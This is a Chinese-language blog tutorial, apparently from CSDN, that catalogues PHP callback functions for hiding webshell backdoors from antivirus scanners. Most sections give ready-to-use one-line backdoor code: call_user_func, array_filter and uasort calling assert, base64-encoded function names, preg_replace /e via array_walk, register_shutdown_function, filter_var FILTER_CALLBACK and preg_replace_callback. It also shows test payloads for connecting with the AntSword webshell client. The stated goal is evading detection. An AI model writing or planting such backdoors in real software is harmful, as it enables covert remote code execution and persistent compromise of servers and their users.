RCE入门(常见后门函数介绍)

学习后门函数目的:将被查杀的关键词隐藏起来

通过PHP回调函数(Callback)隐藏恶意代码,绕过安全检测,实现:

  • 命令执行(RCE)

  • 文件操作

  • Webshell持久化

一.区分命令

  • 系统命令:直接执行windows或linux命令
    • 如:system,exec,shell_exec,passthru等
  • 执行代码:
    • eval,assert

二、单参数回调后门

执行命令函数--assert()

后门函数

1.call_user_func(古早)

语法:

call_user_func(callable $callback, mixed ...$args): mixed

 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

先看一个简单的例子:

call_user_func('assert', $_REQUEST['pass']);

接收参数后相当于

assert($_REQUEST['pass']) 

$_REQUEST可以接收GET,POST及cookie的传参。

执行php代码:

 注:PHP 8.0.0 中:asset()函数接收字符串不再被当作代码执行:如果 $assertion 是字符串,会抛出 TypeError。

也可以传入数组:

call_user_func_array('assert', array($_REQUEST['pass']));

ps:这个代码现在会被杀毒软件直接杀掉。

2.array_filter

array_filter(array $array, ?callable $callback = null, int $mode = 0): array

第二个参数作为回调函数。

将数组中的值放到第二个参数中执行

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

所以第一个参数传命令,第二个参数传执行函数。

将assert转Base64加密

e=YXNzZXJ0&pass=phpinfo()

蚁剑测试连接:

3.array_map

array_map函数也有类似array_filter的效果 

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

 三.双参数回调函数

执行命令函数--assert()

在 PHP 5.4.8 及以上版本中,assert() 函数的签名发生了变化,增加了一个可选参数 description。这一变化使得 assert() 的行为更加灵活,同时也为某些特殊用法(如“回调后门”)提供了可能性。

即asset()可以接受两个参数了。

assert语法:

assert(mixed $assertion, Throwable|string|null $description = null): bool

 后门函数

1.uasort

使用用户定义的比较函数对数组进行排序并保持索引关联

语法:

uasort(array &$array, callable $callback): true

第二个参数是回调函数

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

注: uasort()会将第二个参数放在回调函数的第一个参数位置

2.uksort

使用用户自定义的比较函数对数组中的键名进行排序

语法:

uksort(array &$array, callable $callback): true

与uasort一致,第二个参数是回调函数

用数组对象的方式 使用这两个函数:

<?php
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
<?php
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
 3.array_reduce

用回调函数迭代地将数组简化为单一的值(可以实现数组元素的累加和累乘)

语法:

array_reduce(array $array, callable $callback, mixed $initial = null): mixed

回调函数格式:

callback(mixed $carry, mixed $item): mixed 

carry

携带上次迭代的返回值; 如果本次迭代是第一次,那么这个值是 initial。

<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
4.array_udiff

用回调函数比较数据来计算数组的差集(可用来比较)

语法:

array_udiff(array $array, array ...$arrays, callable $value_compare_func): array

 传参需要传两个数组

<?
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

四.三参数回调函数

执行命令函数--preg_replace /e模式 

先了解一下preg_replace /e:

e 修饰符的作用是将 preg_replace() 的替换字符串先使用eval()函数执行,然后将执行结果作为替换内容。

注: 由于安全风险,e 修饰符在 PHP 5.5.0 中被弃用,并在 PHP 7.0.0 中移除。

来看一个小例子:

<?php

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

GET传参的键值被用作正则表达式,值被用作被替换函数。

知识点:

  • replacement(替换字符串) 中可以包含后向引用 \\n 或 $n,语法上首选后者。 每个这样的引用将被匹配到的第 n 个捕获子组捕获到的文本替换。所以\\1=${1},用来获取第一个分组。
  • 双引号字符串中,会直接解析并执行变量或表达式(如果 ${} 内部是一个可执行的表达式或函数调用)。变量名必须以 $ 开头。

payload:\S*=${phpinfo()};

解题思路:

用\S*来匹配${phpinfo()};。strtolower("\\1")中的\\1捕获到第一个分组(也就是${phpinfo()};),由于是/e模式,会用eval()函数执行命令,此时会将双引号中的${phpinfo()};解析并执行。

相当于eval(strtolower("${phpinfo()};"))

为什么不用.*来匹配所有字符串?

在php中,.号会被接收为_

后门函数:

1.array_walk

将数组中的每一个值都用回调函数执行一遍

语法:

array_walk(array|object &$array, callable $callback, mixed $arg = null): true

回调函数格式

callback

    典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个

arg

    如果提供了可选参数 arg,将被作为第三个参数传递给 callback。

不选第三个参数,可以用assert()双参数来执行,这时需要把键名和值替换位置。

后门代码:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

 相当于

 $e=preg_replace('|.*|e',$_POST['pass'],'');

蚁剑测试:

2.array_walk_recursive

对数组中的每个成员递归地应用用户函数

语法:

array_walk_recursive(array|object &$array, callable $callback, mixed $arg = null): true 

回调函数格式与array_walk一致

后门代码:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
3. mb_ereg_replace(类似preg_replace )

语法:

mb_ereg_replace(string $pattern, string $replacement, string $string, string $options = ?): string

第四个参数option是选择修饰符

这个函数没有回调函数

后门代码:

<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
4.preg_filter(类似preg_replace )

语法:

preg_filter(
    string|array $pattern,
    string|array $replacement,
    string|array $subject,
    int $limit = -1,
    int &$count = null
): string|array|null

没有回调函数

后门代码:

<?php
preg_filter('|.*|e', $_REQUEST['pass'], '');

五.无回显回调后门

ob_start

打开输出控制缓冲

语法:

 ob_start(?callable $callback = null, int $chunk_size = 0, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS): bool

第一个参数为回调函数

回调函数格式:

将输出缓冲区的内容放到回调函数里面执行

但是有执行结果也不在流里,最后输出不了,所以这样的一句话没法用远程连接

可以用来将后门写在其他文件里上传:

六.稍隐蔽的单参数回调后门

1.register_shutdown_function

注册一个 callback ,它会在脚本执行完成或者 exit() 后被调用。

语法:

 register_shutdown_function(callable $callback, mixed ...$args): void

第一个参数为回调函数

后门代码:

<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

2.register_tick_function

注册给定的 callback,以便在 tick(时钟周期) 被调用时执行。

语法:

 register_tick_function(callable $callback, mixed ...$args): bool

第一个参数为回调函数

后门代码:

<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

3.filter_var 和filter_var_array

filter_var :

使用特定的过滤器过滤一个变量

语法:

 filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed

后门代码:

<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));

filter_var_array:

获取多个变量并且过滤它们

语法:

filter_var_array(array $array, array|int $options = FILTER_DEFAULT, bool $add_empty = true): array|false|null

后门代码:

<?
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

七.其他参数型回调后门

preg_replace_callback

回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换 ,preg_replace_callback也有回调函数来执行代码。

语法:

preg_replace_callback(
    string|array $pattern,
    callable $callback,
    string|array $subject,
    int $limit = -1,
    int &$count = null,
    int $flags = 0
): string|array|null

回调函数格式:

回调函数接收参数为数组类型,但可以使用匿名函数,接收数组,返回数组中的值

后门代码:

<?php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

注:create_function函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除。 强烈建议不要依赖本函数。 

类似的函数

<?php
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

总结:

1.执行一个参数和双参数的函数可以用assert(),三参数可以用preg_replace的/e模式,但是都随着php版本的升级,已经被淘汰了。

2.assert()函数在 PHP 8.0.0 之前,如果 assertion 是 string,将解释为 PHP 代码,并通过 eval() 执行。这种行为在 PHP 7.2.0 中弃用,并在 PHP 8.0.0 中移除

3.preg_replace的/e模式:e 修饰符在 PHP 5.5.0 中被弃用,并在 PHP 7.0.0 中移除。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值